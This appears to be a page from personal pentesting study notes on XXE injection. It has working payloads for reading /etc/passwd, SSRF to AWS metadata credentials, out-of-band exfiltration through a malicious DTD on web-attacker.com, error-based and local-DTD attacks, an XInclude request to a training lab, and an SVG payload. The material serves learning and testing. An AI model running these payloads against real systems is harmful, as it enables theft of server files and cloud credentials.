Pentesting and Red Teaming Notes
  • 🖥️Pentesting and Red Teaming Cheatsheet
  • Web Application Pentesting(BlackBox)
    • SQL Injection
    • Blind SQL Injection
    • Path Traversal
    • Attacking Authentication
    • Race Conditions
    • Business Logic Vulnerabilities
    • Command Injections
    • Information disclosure
    • Access Controls
    • File upload Attacks
    • XXE
    • Server Side Request Forgery
    • Api Testing
    • noSQL
    • DOM based vulnerabilities
    • Cross Site scripting
  • Infrastructure Pentesting
    • Windows Privilege Escalation
    • Attacking Active Directory
    • File Transfers and Download
    • Pivoting(Tunneling and Port Forwarding)
    • Linux Privilege Escalation
    • Stealing NTLM hashes
    • Tricks and Tips
  • Active Directory Pentesting
    • powershell theory
    • Methodology
    • domain enumeration
    • File Transfer
    • PowerShell ADModule
    • Local Privilege Escalation
    • PowerView Commands
    • ACLs Descriptions
    • ACLs Abuse
    • ACL
    • Trusts
    • User Hunting
    • group policy
    • Mimikatz
    • BloodHound
    • LateralMovement
    • Kerberoasting
    • defense bypasses
    • Set-SPN
    • ASREProasting
    • Unconstrained Delegation
    • Constrained Delegation
    • Resource Based Constrained Delegation
    • AD CS
    • Persistance
    • Priv Esc Trusts Inside Forest
    • MSSQL Servers
    • Priv Esc Trusts Across Forest
    • Tips And Tricks
    • Service Tickets and Abuses
  • Reconnaissance
    • Web Application Reconnaissance
    • External Reconnaissance
Powered by GitBook
On this page
  • XML
  • XML Entities
  • DocType (DTD)
  • XML External Entities
  • XXE to Retrive Files From the Server
  • XXE to perform ssrf attacks
  • XXE via filtered xml entities
  • Blind XXE vulnerabilities
  • Blind XXE to exfiltrate data out of band
  • Malicious DTD hosted on attacker's server
  • XXE payload to vulnerable application
  • Data Flow
  • Exploiting blind xxe to retrieve data via error messages
  • Blind XXE where OOB interaction is blocked
  • Locating existing dtd to repurpose
  • Areas where XXE injection arises
  1. Web Application Pentesting(BlackBox)

XXE

XML

XML is a file format for storing and transmitting data. It’s a language that’s used to describe data. Data stored in XML is known as being “self-defining.” This means that the structure of the data is embedded within the data itself. XML is widely used by web applications and apis for transferring data between each other. XML uses a tree like structure of tags and data.XML entity attack is a web application vulnerability that allows an attacker to interfere with an application's processing of XML data.

XML Entities

Entities are like variables in other programming languages. Below &myName; is entity wheares <!Entity myName "Alex Dhital"> is a declaration of this entity.

<!Entity myName "Alex Dhital">  
<Name>  
            <to>John</to>  
            <body>&myName;</body>  
</Name>  

DocType (DTD)

Inside the DOCTYPE Declaration, we can declare what kind XML document it is depending on the data we wish to store, and in that DOCTYPE declaration is where we declare our entities. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.

    <?xml version="1.0"?>  
    <!DOCTYPE CUSTOMER[  
      
    <!ENTITY firstchoice "Corporate">  
    <!ENTITY secondchoice "Individual">  
    ]>  
    <CUSTOMERS>  
        <CUSTOMER>  
            <NAME>Jane Doe</NAME>  
            <ADDRESS>1 Thornicroft Avenue</ADDRESS>  
            <CUSTOMERTYPE>&secondchoice;</CUSTOMERTYPE>  
        </CUSTOMER>  
        <CUSTOMER>  
            <NAME>Google</NAME>  
            <ADDRESS>1 Amery Way </ADDRESS>  
            <CUSTOMERTYPE>&firstchoice;</CUSTOMERTYPE>  
        </CUSTOMER>  
    </CUSTOMERS>  

XML External Entities

Xml external entities are custom entities whose defination is located outside of the DTD where they are declared. The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE Customers [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file. For example:

<!DOCTYPE Customers [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XXE to Retrive Files From the Server

Here we are creating a doctype element inside which we declare an external entity xxe whose value is "file:///etc/passwd" after this the xxe variable is referenced inside which causes the application's response to include the contents of the file.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Customers [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<Customers>
   <customerID>&xxe;</customerID>
</Customers>

Note: In real world we do need to test each tag in which the data might return.

XXE to perform ssrf attacks

Here we are declaring doctype foo which holds entity variable named xxe whose value is metadata endpoint of aws ec2 and this variable is referenced in data nodes below.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
	<productId>&xxe;</productId>
	<storeId>1</storeId>
</stockCheck>

XXE via filtered xml entities

Sometimes the xml parsers are hardened or regular entities such as &variable; are blocked in such cases we can % symbol to both declare an entity and reference it within the DTD itself. Below we are declaring an entity xxe with % symbol then referencing it within the dtd itself.

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Blind XXE vulnerabilities

Blind xxe vulnerabilities occur when the application is vulnerable to xxe injection but does not return the values of any defined external entities within its response. THis means retrival of server side files is not possible directly. There are generally two ways of exploiting blind xxe vulnerabilities

  • Triggering out of band network interactions, sometimes exfiltrating sensative data within the interaction data.

  • Causing xml parsing errors in such a way that the error messages contain sensative data.

Blind XXE to exfiltrate data out of band

Here an attacker hosts a malicious DTD on their server and causes the web application to invoke this malicious DTD which contains reference to sensative file and send this DTD again to the attacker via a query parameter.

Malicious DTD hosted on attacker's server

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  • Here the file entity contains reference to /etc/passwd

  • The eval entity contains reference to another entity named exfiltrate whose value is http://web-attacker.com/?x=/etc/passwd

  • The eval and exfiltrate entities are called

XXE payload to vulnerable application

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Data Flow

  • The vulnerable application will request and parse malicious.dtd from attacker's server

  • The value of file entity will be set to /etc/passwd file of vulnerable-server then eval and exfiltrate entities will be called in sequence

  • When eval entity will be called it will will set value of exfiltrate entity to exfiltrate=http://web-attacker.com/?x=/etc/passwd

  • Then exfiltrate entity will get called and passwd file will be appended to get request of x variable in attacker's server.

Exploiting blind xxe to retrieve data via error messages

  • Host a malicious dtd on attacker's server

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
  • On vulnerable application

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Blind XXE where OOB interaction is blocked

According to xml specification creating an entity inside another entity is permitted only in external dtd. So what can we do in cases where blind XXE exists but out of band network interaction is disabled? In this situation it might be possible to trigger error messages containing sensative data due to a loophole in XML language specification. ***If a document's DTD uses both internal and external DTD declarations, then the internal DTD can define entities that are declared in the external DTD. *** When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is possible. This attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data.

For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file by submitting a hybrid DTD like the following:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
  • Defines an xml entity named local_dtd schema.dtd which also exists on the vulnerable server.

  • Redefine xml parameter entity called called custom_entity which is defined on schema.dtd file. (Note: This line contains an error)

  • Define xml entity named file whose value is /etc/passwd

  • Define another entity eval inside which contains another entity named error whose value is /nonexistingfile/etc/passwd

  • Uses the local_dtd entity, so that the external DTD is interpreted, including the redefined value of the custom_entity entity. This results in the desired error message.

Locating existing dtd to repurpose

Since the application returns any error messages thrown by the xml parser, we can easily enumerate local DTD files just by attempting to load them from within the internal DTD. For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd. You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search.

Areas where XXE injection arises

  • In SOAP requests.

  • Maybe try changing request method from json or application-x-www-urlencoded to xml?

  • Are you able to upload XML documents?

  • XXE via xlsx can also occur

  • Maybe the application takes data via application/www-urlencoded and later parses this data via backend SOAP request in such case use Xinclude attacks like

POST /product/stock HTTP/2
Host: 0ab100aa033f7a7780c3df7000a40082.web-security-academy.net
Cookie: session=9Gr78pW2lgZKDJkn93pvzwp1lMxTia7Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab100aa033f7a7780c3df7000a40082.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: https://0ab100aa033f7a7780c3df7000a40082.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

productId=<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/passwd"/></foo>&storeId=
  • Does the application parse DOCX documents?

  • Image files like svg also uses xml

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
PreviousFile upload AttacksNextServer Side Request Forgery

Last updated 1 year ago